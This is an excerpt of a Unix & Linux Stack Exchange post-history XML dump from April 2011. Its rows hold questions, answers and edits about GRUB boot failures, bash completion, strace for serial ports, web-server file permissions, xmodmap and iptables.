/etc/grub.d/10_linux ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/20_linux_xen ###&#xD;&#xA;    ### END /etc/grub.d/20_linux_xen ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/30_os-prober ###&#xD;&#xA;    ### END /etc/grub.d/30_os-prober ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/40_custom ###&#xD;&#xA;    # This file provides an easy way to add custom menu entries.  Simply type the&#xD;&#xA;    # menu entries you want to add after this comment.  Be careful not to change&#xD;&#xA;    # the 'exec tail' line above.&#xD;&#xA;    ### END /etc/grub.d/40_custom ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/41_custom ###&#xD;&#xA;    if [ -f  $prefix/custom.cfg ]; then&#xD;&#xA;      source $prefix/custom.cfg;&#xD;&#xA;    fi&#xD;&#xA;    ### END /etc/grub.d/41_custom ###&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**UPDATE 2 - boot log**&#xD;&#xA;&#xD;&#xA;mmm ... /var/loog/boot is empty - not sure if there are some other files I should check:)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**UPDATE 3**&#xD;&#xA;Well - I'm sort of beginning to believe that this might be some hardware issue. Since setupnever even gets to grub menu.  Anyway-  i'll just nuke it and reinstall, no biggie:)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30246" PostHistoryTypeId="2" PostId="12357" RevisionGUID="2e0efdb6-a376-4f93-8caf-00623d585184" CreationDate="2011-04-30T08:58:23.710" UserId="4843" Text="Have a look at the file&#xD;&#xA;&gt; /etc/bash_completion&#xD;&#xA;&#xD;&#xA;and in the observe the files from the directory:&#xD;&#xA;&#xD;&#xA;&gt; /etc/bash_completion.d&#xD;&#xA;&#xD;&#xA;You will find the answer." />
  <row Id="30247" PostHistoryTypeId="25" PostId="12356" RevisionGUID="f85be451-e1fb-4c24-9e43-07c821f9e1cd" CreationDate="2011-04-30T09:11:18.827" Comment="http://twitter.com/#!/StackUnix/status/64255497196421120" />
  <row Id="30248" PostHistoryTypeId="5" PostId="12357" RevisionGUID="05a8e253-ccf0-4ca4-b230-c77f5727369c" CreationDate="2011-04-30T09:32:54.307" UserId="4843" Comment="deleted 7 characters in body" Text="Have a look at the file&#xD;&#xA;&gt; /etc/bash_completion&#xD;&#xA;&#xD;&#xA;and observe the files from the directory:&#xD;&#xA;&#xD;&#xA;&gt; /etc/bash_completion.d&#xD;&#xA;&#xD;&#xA;You will find the answer." />
  <row Id="30249" PostHistoryTypeId="2" PostId="12358" RevisionGUID="414802f5-a6a8-4a77-83b4-921553f2fef1" CreationDate="2011-04-30T09:44:54.723" UserId="4671" Text="Support for bash completion is provided in Debian and Ubuntu by the [bash completion package](http://packages.qa.debian.org/b/bash-completion.html). You also usually need to uncomment the following in `/etc/bash.bashrc` and/or `.bashrc` to source the bash completion files. The following is from `/etc/bash.bashrc`:&#xD;&#xA;&#xD;&#xA;    # enable bash completion in interactive shells&#xD;&#xA;    if [ -f /etc/bash_completion ] &amp;&amp; ! shopt -oq posix; then&#xD;&#xA;        . /etc/bash_completion&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;for this to work. I usually uncomment it in both. The handling of interactive/login shells in Debian is a bit of a mess. &#xD;&#xA;&#xD;&#xA;Similar comments presumably apply to other distributions, though maybe they enable the sourcing by default.&#xD;&#xA;" />
  <row Id="30250" PostHistoryTypeId="2" PostId="12359" RevisionGUID="0e8f9e07-44b3-4293-a9cb-0bab0551f291" CreationDate="2011-04-30T10:05:17.447" UserId="5926" Text="Is there any port monitoring tool to watch the packets written on the port. Especially i want to check if my program written in java works so i need some kind of tool to see if my little application is writing the messages to the port. How do i do this ?" />
  <row Id="30251" PostHistoryTypeId="1" PostId="12359" RevisionGUID="0e8f9e07-44b3-4293-a9cb-0bab0551f291" CreationDate="2011-04-30T10:05:17.447" UserId="5926" Text="Linux Serial port problem" />
  <row Id="30252" PostHistoryTypeId="3" PostId="12359" RevisionGUID="0e8f9e07-44b3-4293-a9cb-0bab0551f291" CreationDate="2011-04-30T10:05:17.447" UserId="5926" Text="élinuxàéportsàéserialöportà" />
  <row Id="30253" PostHistoryTypeId="2" PostId="12360" RevisionGUID="44267f6c-e7a9-4b3e-9875-2bef78080908" CreationDate="2011-04-30T10:11:12.827" UserId="7098" Text="Well...&#xD;&#xA;&#xD;&#xA;You must first consider that what you see is made of 3 layers at least:&#xD;&#xA;&#xD;&#xA;1. The OS. Apple modified UNIX OS is different from Linux and BSDs and don't behave the same.&#xD;&#xA;2. The shell. You can choose between Bash, Ksh (KornShell). I use Zsh with a very nice configuration file I found on the Internet and that I customized a little.&#xD;&#xA;3. The interface: &#xD;&#xA; - **ttyX** : Pure command-line interface on UNIX or UNIX-like, except Mac OS X as far as I know. Press Alt+F1, Alt-F2, ...&#xD;&#xA;&#xD;&#xA;     Be sure to use a nice resolution tough and not 800x600!&#xD;&#xA;&#xD;&#xA;     Some just use this, fire Vim or Emacs and get a distraction-free writing environment so that they can concentrate on their work, on the text itself, or on the code.&#xD;&#xA;&#xD;&#xA;     You can have the same &quot;effect&quot; on mac using MacVim and press Apple+Maj+F, or use a much simpler editor like WriteRoom if you want such a kind of distraction-free full editor.&#xD;&#xA; - gnome-terminal&#xD;&#xA; - KDE terminal&#xD;&#xA; - Terminal.app (the one on your Mac)&#xD;&#xA;&#xD;&#xA;My point is that you can customize every layer to work and appear as you like, and that you must understand the behaviour you had on Ubuntu or any other Linux distribution is the result of all these layers.&#xD;&#xA;&#xD;&#xA;A well-configured Terminal.app can be a lot better than gnome-terminal/zsh with default configuration combo.&#xD;&#xA;&#xD;&#xA;Nevertheless, I think Terminal.app isn't as featured as the (cloned) UNIX grandpas ;-)" />
  <row Id="30254" PostHistoryTypeId="2" PostId="12361" RevisionGUID="6c081991-93c9-4c87-b8c9-5c8365ced7cb" CreationDate="2011-04-30T10:19:05.520" UserId="7098" Text="I strongly agree with Faheem.&#xD;&#xA;&#xD;&#xA;This is kind of a &quot;Why choose the easiest solution when one can do it the hard way?&quot; case.&#xD;&#xA;&#xD;&#xA;Seriously, put your CD, erase everything, let the installer choose or just use 2 partitions: / (Root) and Swap (2 times your RAM). Done.&#xD;&#xA;I like to put my /home in another partition to make backups and re-installations easier." />
  <row Id="30256" PostHistoryTypeId="2" PostId="12363" RevisionGUID="89890645-af1b-4ce7-9adf-ea6bde77453f" CreationDate="2011-04-30T10:26:53.707" UserId="4843" Text="I recommend you to go with following packages:&#xD;&#xA;&#xD;&#xA;&gt;  1. pptp 2.4.3&#xD;&#xA;&gt;  2. openswan 2.4.14&#xD;&#xA;&gt;  3. l2tpd 0.69 [ patched with l2tpd-0.69.sysv.patch ]&#xD;&#xA;&gt;  4. Kernel configuration, of course.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;These packages are enough to make your Operating System L2TP_IPSec capable." />
  <row Id="30257" PostHistoryTypeId="2" PostId="12364" RevisionGUID="f2f9cfea-dacc-4868-8472-ee65a203aff5" CreationDate="2011-04-30T10:29:33.683" UserId="7098" Text="If you want to fine tune and don't loose too much time with pipes, find and everything&#xD;&#xA;(altough being the most powerful toolchain you could ever find)&#xD;&#xA;&#xD;&#xA;just try to use a for-loop, cat, etc." />
  <row Id="30258" PostHistoryTypeId="2" PostId="12365" RevisionGUID="89f01571-90aa-4448-8a9f-e2432da2ebe2" CreationDate="2011-04-30T10:29:59.133" UserId="4843" Text="Such problems arises normally due to IP-Conflict, even though you have the DHCP in the LAN. Try to set a free IP and then try to ping to other machine. You can also check the dhcp-log file at server." />
  <row Id="30259" PostHistoryTypeId="2" PostId="12366" RevisionGUID="9d1901d0-3952-41b1-b9c8-ba5d4f37f0bb" CreationDate="2011-04-30T11:45:33.907" UserId="4430" Text="Is it possible to stop my usb mobile broadband stick from automatically mounting as a drive, yet continue to mount all other usb devices (camera, usb memory stick, usb camera etc) as normal, i.e. usb memory stick, usb harddrive stick should mount as normal usb drives as they currently do, web cam should mount as a cam as it does etc etc?&#xD;&#xA;&#xD;&#xA;Basically, when I plug in the mobile broadband usb stick, it automatically mounts as a usb drive, and I have to unmount it.  It then automatically gets detected as a mobile broadband device.&#xD;&#xA;&#xD;&#xA;So if it is possible to stop just the mobile broadband usb stick from mounting as a drive, it should automatically get detected as a mobile broadband device.&#xD;&#xA;&#xD;&#xA;Can this be done?  I am using Ubuntu 10.04." />
  <row Id="30260" PostHistoryTypeId="1" PostId="12366" RevisionGUID="9d1901d0-3952-41b1-b9c8-ba5d4f37f0bb" CreationDate="2011-04-30T11:45:33.907" UserId="4430" Text="Stop USB mobile broadband automatically mounting as drive" />
  <row Id="30261" PostHistoryTypeId="3" PostId="12366" RevisionGUID="9d1901d0-3952-41b1-b9c8-ba5d4f37f0bb" CreationDate="2011-04-30T11:45:33.907" UserId="4430" Text="éubuntuàémountàéautomountingàémobileà" />
  <row Id="30262" PostHistoryTypeId="2" PostId="12367" RevisionGUID="497b536d-e74d-484d-a650-b92af9927620" CreationDate="2011-04-30T11:48:49.687" UserId="885" Text="I don't think the serial driver has any tracing functionality that would allow you to watch packets. You can use `strace` to observe all the reads and writes from your application:&#xD;&#xA;&#xD;&#xA;    strace -s9999 -o myapp.strace -eread,write,ioctl ./myapp&#xD;&#xA;" />
  <row Id="30263" PostHistoryTypeId="2" PostId="12368" RevisionGUID="def65eda-f53d-4b88-9dbc-8829c9532799" CreationDate="2011-04-30T11:54:09.060" UserId="4843" Text="You need to tweak your device with command:&#xD;&#xA;&#xD;&#xA;&gt; usb_modeswitch&#xD;&#xA;&#xD;&#xA;http://www.draisberghof.de/usb_modeswitch" />
  <row Id="30264" PostHistoryTypeId="2" PostId="12369" RevisionGUID="c92877fd-210d-4c60-83b9-3ef8c47523e8" CreationDate="2011-04-30T12:07:08.010" UserId="885" Text="Depending on the command:&#xD;&#xA;&#xD;&#xA;* Someone may have written a function to generate possible completions of arguments, including options. You'll find functions for some commands in `/etc/bash_completion.d/*` (or a different location on some systems). These functions are registered with the [`complete`](http://www.gnu.org/software/bash/manual/bashref.html#index-complete-385) [built-in](http://www.gnu.org/software/bash/manual/bashref.html#Programmable-Completion-Builtins) (e.g. `complete -F _find find` tells bash to call the `_find` function when you press &lt;kbd&gt;Tab&lt;/kbd&gt; on a `find` command). They use the [`compgen`](http://www.gnu.org/software/bash/manual/bashref.html#index-compgen-384) built-in to tell bash “here are the possible completions”.&#xD;&#xA;* For some commands, bash will call the command with the argument `--help` and parse the output. Such commands can be registered with the [`complete`](http://www.gnu.org/software/bash/manual/bashref.html#index-complete-385) built-in, e.g. `complete -F _longopt ls`. `_longopt` is in fact a completion generation function, that happens to parse a command's output rather than use a fixed list. (There are other more specialized completion functions that parse a command's output to generate possible completions; look in `/etc/bash_completion.d/*` for examples.)&#xD;&#xA;* For things like aliases, the completion function looks them up in bash's internal tables. The [`complete`](http://www.gnu.org/software/bash/manual/bashref.html#index-complete-385) built-in has options for that, e.g. `-A` for aliases.&#xD;&#xA;" />
  <row Id="30265" PostHistoryTypeId="2" PostId="12370" RevisionGUID="889a1ca2-3783-4897-9762-891e33b3491f" CreationDate="2011-04-30T12:08:13.877" UserId="7098" Text="I don't know anything about DokuWiki, but I can give you some hints with permissions.&#xD;&#xA;&#xD;&#xA;DokuWiki is a PHP application thus running in a web server.&#xD;&#xA;This web server can be Apache, Lighttpd, ngingx and maybe another one.&#xD;&#xA;&#xD;&#xA;The webserver doesn't run as root. It runs either as the &quot;nobody&quot; user or on Debian servers for example the user is &quot;www-data&quot;. It can also be &quot;apache&quot;.&#xD;&#xA;&#xD;&#xA;Ubuntu and Debian use www-data as I said.&#xD;&#xA;&#xD;&#xA;You can also figure out the permissions in /var/www.&#xD;&#xA;Just &quot;cd&quot; to this directory, then type &quot;ls -l&quot; at prompt, and it will give you the list of files with the owner and the group. (there's a www-data group as well).&#xD;&#xA;&#xD;&#xA;Now that you know which system user the web server runs as, try  that:&#xD;&#xA;&#xD;&#xA;Go to your mediawiki installation directory :&#xD;&#xA;&gt; cd /var/www/mediawiki&#xD;&#xA;&#xD;&#xA;Set permissions to the webserver user / group :&#xD;&#xA;&gt; chown www-data:www-data . -R&#xD;&#xA;&#xD;&#xA;(-R means &quot;recursive&quot; =&gt; all files and subfolders)&#xD;&#xA;&#xD;&#xA;Finally :&#xD;&#xA;&gt; chmod 775 . -R&#xD;&#xA;&#xD;&#xA;Then the webserver user and members of the group can read, write and execute files.&#xD;&#xA;&#xD;&#xA;As you were wondering for security, the permissions should not be 775 but weaker on most of the files except for some directories like &quot;upload&quot; or &quot;temp&quot; ones that could even be 777. But again, I don't know about mediawiki&#xD;&#xA;" />
  <row Id="30266" PostHistoryTypeId="25" PostId="12359" RevisionGUID="92669615-03eb-4d5c-813d-b656ec82d40b" CreationDate="2011-04-30T12:11:19.113" Comment="http://twitter.com/#!/StackUnix/status/64300795956432897" />
  <row Id="30267" PostHistoryTypeId="4" PostId="12352" RevisionGUID="599aef81-70be-431e-9e05-2b429a93f323" CreationDate="2011-04-30T12:13:06.973" UserId="885" Comment="edited tags; edited title" Text="How to make wget save the web page contents to a file?" />
  <row Id="30268" PostHistoryTypeId="6" PostId="12352" RevisionGUID="599aef81-70be-431e-9e05-2b429a93f323" CreationDate="2011-04-30T12:13:06.973" UserId="885" Comment="edited tags; edited title" Text="éwgetà" />
  <row Id="30269" PostHistoryTypeId="2" PostId="12371" RevisionGUID="f3b49273-3781-4a96-9fd5-5dcd5686b3ad" CreationDate="2011-04-30T13:10:58.600" UserId="6436" Text="[Sympa][1] works quite well with postfix. You have a [specific tutorial][2] for that. I have installed or used this combination several times for clients.&#xD;&#xA;&#xD;&#xA;If you are concerned about footprint you might find Sympa disappointing as it is using a lot of different technology. But the functionality level is high, notably to integrate with databases and security options. &#xD;&#xA;&#xD;&#xA;I prefer Mailman for my own small scale projects, I like the fact that it is written in Python and I am waiting for the new version 3 to be stable.&#xD;&#xA;&#xD;&#xA;[1]: http://www.sympa.org/&#xD;&#xA;[2]: http://www.sympa.org/faq/postfix_howto&#xD;&#xA;" />
  <row Id="30270" PostHistoryTypeId="2" PostId="12372" RevisionGUID="4d24d47b-b998-4fca-b8a3-3672d9331d02" CreationDate="2011-04-30T13:39:51.070" UserId="6290" Text="If you don't mind having caps lock not work anymore as a 'caps lock' key, you can remap it to an 'altgr-like' status with `xmodmap -e 'keysym Caps_Lock = ISO_Level3_Shift'`." />
  <row Id="30271" PostHistoryTypeId="5" PostId="12355" RevisionGUID="3bb736ec-6b36-4487-9a89-1c18e3e348b0" CreationDate="2011-04-30T13:42:08.920" UserId="2657" Comment="added 589 characters in body" Text="While installing Debian 6.0 I went with manual partitioning and apparantly messed up.&#xD;&#xA;OS only loads if I start computer in recovery mode and fdisk output doesn't have primary partition. AFAIK - I must have at least 1 primary partition for PC to boot - right? Is there a way to convert partition from exteneded to primary?&#xD;&#xA;&#xD;&#xA;now my partition table looks like this:&#xD;&#xA;&#xD;&#xA;       cme@cmehost:~$ sudo fdisk -c -l /dev/sda&#xD;&#xA;        &#xD;&#xA;        Disk /dev/sda: 500.1 GB, 500107862016 bytes&#xD;&#xA;        255 heads, 63 sectors/track, 60801 cylinders&#xD;&#xA;        Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;        Sector size (logical/physical): 512 bytes / 512 bytes&#xD;&#xA;        I/O size (minimum/optimal): 512 bytes / 512 bytes&#xD;&#xA;        Disk identifier: 0x00010629&#xD;&#xA;        &#xD;&#xA;       Device Boot      Start         End      Blocks   Id  System&#xD;&#xA;    /dev/sda1               1        1216     9764864   82  Linux swap / Solaris&#xD;&#xA;    /dev/sda2            1216       60802   478618625    5  Extended&#xD;&#xA;    /dev/sda5   *        1216        6091    39158784   83  Linux&#xD;&#xA;    /dev/sda6            6092       60802   439458816   83  Linux&#xD;&#xA;&#xD;&#xA;**UPDATE 1 - /boot/grub/grub.cfg**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # DO NOT EDIT THIS FILE&#xD;&#xA;    #&#xD;&#xA;    # It is automatically generated by grub-mkconfig using templates&#xD;&#xA;    # from /etc/grub.d and settings from /etc/default/grub&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/00_header ###&#xD;&#xA;    if [ -s $prefix/grubenv ]; then&#xD;&#xA;      load_env&#xD;&#xA;    fi&#xD;&#xA;    set default=&quot;0&quot;&#xD;&#xA;    if [ &quot;${prev_saved_entry}&quot; ]; then&#xD;&#xA;      set saved_entry=&quot;${prev_saved_entry}&quot;&#xD;&#xA;      save_env saved_entry&#xD;&#xA;      set prev_saved_entry=&#xD;&#xA;      save_env prev_saved_entry&#xD;&#xA;      set boot_once=true&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    function savedefault {&#xD;&#xA;      if [ -z &quot;${boot_once}&quot; ]; then&#xD;&#xA;        saved_entry=&quot;${chosen}&quot;&#xD;&#xA;        save_env saved_entry&#xD;&#xA;      fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function load_video {&#xD;&#xA;      insmod vbe&#xD;&#xA;      insmod vga&#xD;&#xA;      insmod video_bochs&#xD;&#xA;      insmod video_cirrus&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    insmod part_msdos&#xD;&#xA;    insmod ext2&#xD;&#xA;    set root='(hd1,msdos5)'&#xD;&#xA;    search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    if loadfont /usr/share/grub/unicode.pf2 ; then&#xD;&#xA;      set gfxmode=640x480&#xD;&#xA;      load_video&#xD;&#xA;      insmod gfxterm&#xD;&#xA;    fi&#xD;&#xA;    terminal_output gfxterm&#xD;&#xA;    insmod part_msdos&#xD;&#xA;    insmod ext2&#xD;&#xA;    set root='(hd1,msdos5)'&#xD;&#xA;    search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    set locale_dir=($root)/boot/grub/locale&#xD;&#xA;    set lang=en&#xD;&#xA;    insmod gettext&#xD;&#xA;    set timeout=5&#xD;&#xA;    ### END /etc/grub.d/00_header ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/05_debian_theme ###&#xD;&#xA;    insmod part_msdos&#xD;&#xA;    insmod ext2&#xD;&#xA;    set root='(hd1,msdos5)'&#xD;&#xA;    search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    insmod png&#xD;&#xA;    if background_image /usr/share/images/desktop-base/spacefun-grub.png; then&#xD;&#xA;      set color_normal=light-gray/black&#xD;&#xA;      set color_highlight=white/black&#xD;&#xA;    else&#xD;&#xA;      set menu_color_normal=cyan/blue&#xD;&#xA;      set menu_color_highlight=white/blue&#xD;&#xA;    fi&#xD;&#xA;    ### END /etc/grub.d/05_debian_theme ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/10_linux ###&#xD;&#xA;    menuentry 'Debian GNU/Linux, with Linux 2.6.32-5-amd64' --class debian --class gnu-linux --class gnu --class os {&#xD;&#xA;    	insmod part_msdos&#xD;&#xA;    	insmod ext2&#xD;&#xA;    	set root='(hd1,msdos5)'&#xD;&#xA;    	search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    	echo	'Loading Linux 2.6.32-5-amd64 ...'&#xD;&#xA;    	linux	/boot/vmlinuz-2.6.32-5-amd64 root=UUID=19b27164-6e7a-4d55-89be-9986c2a5fe73 ro  quiet&#xD;&#xA;    	echo	'Loading initial ramdisk ...'&#xD;&#xA;    	initrd	/boot/initrd.img-2.6.32-5-amd64&#xD;&#xA;    }&#xD;&#xA;    menuentry 'Debian GNU/Linux, with Linux 2.6.32-5-amd64 (recovery mode)' --class debian --class gnu-linux --class gnu --class os {&#xD;&#xA;    	insmod part_msdos&#xD;&#xA;    	insmod ext2&#xD;&#xA;    	set root='(hd1,msdos5)'&#xD;&#xA;    	search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    	echo	'Loading Linux 2.6.32-5-amd64 ...'&#xD;&#xA;    	linux	/boot/vmlinuz-2.6.32-5-amd64 root=UUID=19b27164-6e7a-4d55-89be-9986c2a5fe73 ro single &#xD;&#xA;    	echo	'Loading initial ramdisk ...'&#xD;&#xA;    	initrd	/boot/initrd.img-2.6.32-5-amd64&#xD;&#xA;    }&#xD;&#xA;    ### END /etc/grub.d/10_linux ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/20_linux_xen ###&#xD;&#xA;    ### END /etc/grub.d/20_linux_xen ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/30_os-prober ###&#xD;&#xA;    ### END /etc/grub.d/30_os-prober ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/40_custom ###&#xD;&#xA;    # This file provides an easy way to add custom menu entries.  Simply type the&#xD;&#xA;    # menu entries you want to add after this comment.  Be careful not to change&#xD;&#xA;    # the 'exec tail' line above.&#xD;&#xA;    ### END /etc/grub.d/40_custom ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/41_custom ###&#xD;&#xA;    if [ -f  $prefix/custom.cfg ]; then&#xD;&#xA;      source $prefix/custom.cfg;&#xD;&#xA;    fi&#xD;&#xA;    ### END /etc/grub.d/41_custom ###&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**UPDATE 2 - boot log**&#xD;&#xA;&#xD;&#xA;mmm ... /var/loog/boot is empty - not sure if there are some other files I should check:)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**UPDATE 3**&#xD;&#xA;Well - I'm sort of beginning to believe that this might be some hardware issue. Since setupnever even gets to grub menu.  Anyway-  i'll just nuke it and reinstall, no biggie:)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**UPDATE 4 - RESOLUTION**&#xD;&#xA;&#xD;&#xA;ok - sorted! the problem as I found out was my honest believe that unetbootin was designed to allow us to install various OS'es from usb drives onto computers - which ...umm...was totally wrong. Unetbootin - is a piece of software to create live usb drives - so you can boot your PC from them. I know - you are like - duh.&#xD;&#xA;&#xD;&#xA;So - I simply had to recreate my install thumb drive like this:&#xD;&#xA;&#xD;&#xA;    cat debian-6.0.0-i386-businesscard.iso &gt; /dev/sdX &#xD;&#xA;    sync&#xD;&#xA;&#xD;&#xA;And of course everything installed just fine after that. Sorry for confusion everyone. ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30272" PostHistoryTypeId="2" PostId="12373" RevisionGUID="0fb9971e-7e43-4561-9725-6ad2bd851199" CreationDate="2011-04-30T13:50:37.973" UserId="885" Text="X has a keysym (i.e. an abstract key name) called `Mode_switch`. On most keyboard mappings for latin-script languages other than US, this keysym is bound to the key labeled &lt;kbd&gt;AltGr&lt;/kbd&gt;, which replaces the right &lt;kbd&gt;Alt&lt;/kbd&gt; key. You can choose to map `Mode_switch` to a different key such as &lt;kbd&gt;Caps Lock&lt;/kbd&gt;. On a PC keyboard, the keycode (what the hardware sends) for &lt;kbd&gt;Caps Lock&lt;/kbd&gt; is 66:&#xD;&#xA;&#xD;&#xA;    keycode 66 = Mode_switch&#xD;&#xA;&#xD;&#xA;In an xmodmap key specification, the character sent by the key with `Mode_switch` is in the third column after the `=` sign, and with `Mode_switch`+`Shift` in the fourth column. (The first two columns are for the key with no modifiers and with `Shift`.)&#xD;&#xA;&#xD;&#xA;    keysym n = n N ntilde Ntilde&#xD;&#xA;&#xD;&#xA;The names on the right are in fact keysym names. You can find a list of these in&#xD;&#xA;`/usr/include/X11/keysymdef.h`, e.g. the line `#define XK_Ntilde 0x00d1` means there's a keysym called `Ntilde` that corresponds to Unicode character U+00D1. There are characters that don't have a keysym name; you can use the unicode number instead.&#xD;&#xA;&#xD;&#xA;    ! U+2030 is PER MILLE SIGN, U+2031 is PER TEN THOUSAND SIGN&#xD;&#xA;    keysym 5 = 5 percent U2030 U2031&#xD;&#xA;" />
  <row Id="30273" PostHistoryTypeId="2" PostId="12374" RevisionGUID="d9b25c8a-7a2c-47a2-aa26-8a6bd8a16c74" CreationDate="2011-04-30T14:28:23.700" UserId="3378" Text="Hello... I am trying to understand how firewall works in linux... &#xD;&#xA;I have read documentation but i am not sure  about some things....&#xD;&#xA;&#xD;&#xA;Netfilters is included in the modern kernels which allows you  using hooks to monitor  packages without changing their content.  &#xD;&#xA;&#xD;&#xA;Iptables they say that it is a software that uses netfilter and ip_tables module maybe..  &#xD;&#xA;My questions are....&#xD;&#xA;&#xD;&#xA; - Does IPTables userspace software register any hook ? &#xD;&#xA; - What does ip_table module do? &#xD;&#xA; - Who does the processing iptables or the module ?&#xD;&#xA; - What things IPtable do ?(Just manages the rules in memory?? or it has hooks and proccesses the traffic?)?&#xD;&#xA;&#xD;&#xA; " />
  <row Id="30274" PostHistoryTypeId="1" PostId="12374" RevisionGUID="d9b25c8a-7a2c-47a2-aa26-8a6bd8a16c74" CreationDate="2011-04-30T14:28:23.700" UserId="3378" Text="IP Tables / netfilters and modules" />
  <row Id="30275" PostHistoryTypeId="3" PostId="12374" RevisionGUID="d9b25c8a-7a2c-47a2-aa26-8a6bd8a16c74" CreationDate="2011-04-30T14:28:23.700" UserId="3378" Text="éfirewallà" />
  <row Id="30276" PostHistoryTypeId="2" PostId="12375" RevisionGUID="48d17a46-ec10-417d-b7a4-2895bf0fbfbd" CreationDate="2011-04-30T15:02:46.627" UserId="2333" Text="I installed Arch Linux from a USB flash drive. Everything went well, no errors at all. When I rebooted, however, I got only a blank screen with a blinking cursor. No GRUB. I cannot input anything. I'm sure I followed the installation instructions properly. Can anybody suggest what might be the problem?" />
  <row Id="30277" PostHistoryTypeId="1" PostId="12375" RevisionGUID="48d17a46-ec10-417d-b7a4-2895bf0fbfbd" CreationDate="2011-04-30T15:02:46.627" UserId="2333" Text="Arch installs but GRUB does not load" />
  <row Id="30278" PostHistoryTypeId="3" PostId="12375" RevisionGUID="48d17a46-ec10-417d-b7a4-2895bf0fbfbd" CreationDate="2011-04-30T15:02:46.627" UserId="2333" Text="ébootàéarchölinuxàégrubà" />
  <row Id="30279" PostHistoryTypeId="5" PostId="12315" RevisionGUID="65987753-1717-4c47-9830-63608e3eb51f" CreationDate="2011-04-30T15:06:23.790" UserId="688" Comment="grammar, conistency" Text="I am looking for a light weight Linux for a PC that runs at 200 Mhz with 256 Megs of RAM. I was thinking maybe Lubuntu, as the system requirements state it needs at least a Pentium 2 generation with 128 Megs of RAM. The GUI is not all that important to have, so would I be better off going with something like Ubuntu server? I was kinda hoping to go with a Ubuntu flavor due to their great support base, but I am willing to try other flavors.&#xD;&#xA;" />
  <row Id="30280" PostHistoryTypeId="25" PostId="12375" RevisionGUID="268bf387-93f5-4269-b140-34479b8e8546" CreationDate="2011-04-30T15:11:18.577" Comment="http://twitter.com/#!/StackUnix/status/64346092657049600" />
  <row Id="30281" PostHistoryTypeId="2" PostId="12376" RevisionGUID="f15bc8c2-ef68-4c5d-8ed3-7eeaa8d3ea0e" CreationDate="2011-04-30T15:15:34.910" UserId="356" Text="Check the boot order settings in the BIOS. Is it booting from the drive you installed the boot loader on?" />
  <row Id="30282" PostHistoryTypeId="2" PostId="12377" RevisionGUID="23edda1b-e7ca-467e-bb01-9d3f7e4a74c8" CreationDate="2011-04-30T15:28:02.050" UserId="885" Text="What might have happened is that Grub didn't get the right information about where it should boot from. The BIOS has its own notion of disk numbering, and it's pretty primitive: the boot disk is disk 1, and some other disk is disk 2. It's conceivable that when you installed Grub, it thought the USB drive was BIOS's disk 1 and the internal hard disk was BIOS's disk 2; but now you're booting from the internal drive so it's disk 1.&#xD;&#xA;&#xD;&#xA;Try booting from the USB drive, but from the root partition on the hard disk (either with a kernel from the USB drive or from the internal drive, whichever is convenient). Then pull out the USB drive and run&#xD;&#xA;&#xD;&#xA;    mv /boot/grub/device.map /boot/grub/device.map.initial-install&#xD;&#xA;    update-grub&#xD;&#xA;    grub-install&#xD;&#xA;&#xD;&#xA;If the drive assignment was the problem, Grub should now have correct information in the device map to be able to load itself fully.&#xD;&#xA;" />
  <row Id="30283" PostHistoryTypeId="5" PostId="12188" RevisionGUID="cd85ef35-8439-4b5b-a1b4-da29b36f9d9e" CreationDate="2011-04-30T15:32:06.713" UserId="688" Comment="too many tears; edited title" Text="Many times I find GNOME file copy GUI tool (Nautilus) irritating when it stops working. It happens when:&#xD;&#xA;&#xD;&#xA;* I cancel the copy or move&#xD;&#xA;* I try to copy to blue tooth exchange folder to my friends laptop(when he forgets to permit the operation or if the file is big)&#xD;&#xA;* some other times, it just hangs while copying&#xD;&#xA;&#xD;&#xA;So I obviously get irritated with this and I want to quit the operation immediately. Unfortunately whenever I  try to cancel it, it never works. This happened to me several times so I tried to find the process `ps aux| grep copy or cp` or something like that but I m never successful. Maybe it has become a zombie process I guess." />
  <row Id="30284" PostHistoryTypeId="4" PostId="12188" RevisionGUID="cd85ef35-8439-4b5b-a1b4-da29b36f9d9e" CreationDate="2011-04-30T15:32:06.713" UserId="688" Comment="too many tears; edited title" Text="How to quit GNOME file copy GUI after it hangs" />
